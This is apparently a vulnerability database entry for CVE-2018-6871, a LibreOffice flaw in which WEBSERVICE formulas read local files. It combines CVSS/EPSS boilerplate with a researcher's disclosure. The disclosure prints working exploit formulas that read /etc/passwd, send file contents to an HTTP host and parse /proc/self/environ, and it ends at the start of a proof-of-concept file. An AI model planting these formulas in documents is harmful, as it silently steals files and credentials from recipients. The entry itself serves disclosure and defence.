CVE Descriptions

LibreOffice before 5.4.5 and 6.x before 6.0.1 allows remote attackers to read arbitrary files via =WEBSERVICE calls in a document, which use the COM.MICROSOFT.WEBSERVICE function.

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

# Vulnerability description [CVE-2018-6871](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6871) ## First part LibreOffice supports COM.MICROSOFT.WEBSERVICE function: https://support.office.com/en-us/article/webservice-function-0546a35a-ecc6-4739-aed7-c0b7ce1562c4 The function is required to obtain data by URL, usually used as: =FILTERXML(WEBSERVICE("http://api.openweathermap.org/data/2.5/forecast?q=Copenhagen,dk&mode=xml&units=metric");"number(/weatherdata/forecast/time[2]/temperature/@value)") In original: For protocols that are not supported, such as ftp: // or file: //, WEBSERVICE returns the #VALUE! error value. In LibreOffice, these restrictions are not implemented before 5.4.5/6.0.1. ## Second part By default the cells are not updated, but if you specify the cell type like ~error, then the cell will be updated when you open document. # Exploitation To read file you need just: =WEBSERVICE("/etc/passwd") This function can also be used to send a file: =WEBSERVICE("http://localhost:6000/?q=" & WEBSERVICE("/etc/passwd")) For successful operation, you need to send the files of the current user, so you need to retrieve current user home path. =MID(WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")) + 5, SEARCH(CHAR(0), WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")))-FIND("USER=", Also you can parse other files too, like a ~/.ssh/config or something like that. For other than LibreOffice Calc formats you just need embed calc object to other document (I checked it works). # Impact It is easy to send any files with keys, passwords and anything else. 100% success rate, absolutely silent, affect LibreOffice prior to 5.4.5/6.0.1 in all operation systems (GNU/Linux, MS Windows, macOS etc.) and may be embedded in almost all formats supporting by LO. # Acknowledgment Vulnerability was independently found by me (@jollheef) and Ronnie Goodrich && Andrew Krasichkov (according to LibreOffice team notes). - - - # poc.fods ``` <?xml version="1.0"
